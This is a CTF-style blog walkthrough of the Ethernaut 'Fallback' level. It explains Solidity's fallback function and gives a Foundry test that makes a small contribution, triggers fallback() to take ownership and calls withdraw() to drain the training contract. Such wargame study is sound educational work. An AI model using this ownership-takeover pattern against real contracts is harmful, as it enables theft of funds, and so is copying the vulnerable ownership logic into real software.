Ethernaut x Foundry - 0x1 Fallback

Ethernaut x Foundry - 0x1 Fallback

·

3 min read

Overview

This level introduces us to the following concepts:

  • fallback() native Solidity function.
  • Difference between send(), call() and transfer() for sending Ether.

GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry

To complete the challenge, we will need: to

  • Claim ownership of the contract (i.e: our EoA is the owner())
  • Reduce its balance to 0 (siphon all the monies)

Initially, the contract's owner will be whoever deploys a Fallback instance:

constructor() {
    owner = payable(msg.sender); // <-- this line over here
    contributions[msg.sender] = 1000 * (1 ether);
}

Only the owner is allowed to call the withdraw() function:

  function withdraw() public onlyOwner {
        owner.transfer(address(this).balance);

It is possible to change ownership once the contract has been deployed by calling the contribute() function:

function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if (contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
}

Judging by the following snippet:

if (contributions[msg.sender] > contributions[owner]) {
  owner = msg.sender;
}

We can tell that any account who sends more ETH to this function than the previously defined owner will be declared as the new owner.

The require() statement limits the maximum contribution size to 0.001 ether and the initial contribution size for the contract deployer is set at 1000 ether. With enough time and efforts, we could attack the contract this way but there is a better method.

There is a second function that can trigger a change of ownership. It is the fallback() function and its a special one:

fallback() external payable {
    require(
        msg.value > 0 && contributions[msg.sender] > 0,
        "tx must have value and msg.send must have made a contribution"
    );
    owner = payable(msg.sender);
}

The fallback function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function. The fallback function always receives data, but in order to also receive Ether it must be marked payable.

Reference: docs.soliditylang.org/en/v0.8.12/contracts...

In other words, fallback is a function that does not take any arguments and does not return anything. It is executed either when:

  • a function that does not exist is called or
  • Ether is sent directly to a contract but receive() does not exist or msg.data is not empty

There are three methods to send Ether between two accounts:

FunctionAmount of Gas ForwardedException Propagation
send2300 (not adjustable)false on failure
transfer2300 (not adjustable)throws on failure
callall remaining gas (adjustable)false on failure

We will need to use the call method so that the contract has enough gas left to change the owner state after performing the transfer. Both send and transfer have a fixed gas stipend, which would be insufficient for this purpose.

💡 Recommended reads:

Attacking The Contract

💡 Make sure to read through Part 0 for setup instructions.

Create a Fallback.t.sol test file in the test/ directory that will contain the attack logic (level setup and submission is truncated for clarity):

 function testFallbackHack() public {
    // Contribute one time to satisfy ownership change condition
    fallbackContract.contribute{value: 1 wei}();

    emit log_named_uint(
        "Verify contribution state change: ",
        fallbackContract.getContribution()
    );

    // Send Ether to the contract which triggers the `fallback()` function
    payable(address(fallbackContract)).call{value: 1 wei}("");
    assertEq(fallbackContract.owner(), attacker);

    emit log_named_uint(
        "Contract balance (before): ",
        address(fallbackContract).balance
    );
    emit log_named_uint("Attacker balance (before): ", attacker.balance);

    fallbackContract.withdraw(); // Empty smart contract funds
    assertEq(address(fallbackContract).balance, 0);

    emit log_named_uint(
        "Contract balance (after): ",
        address(fallbackContract).balance
    );
    emit log_named_uint("Attacker balance (after): ", attacker.balance);

}

Run the attack using theforge test subcommand:

ethernaut-0x1fallback-proof.png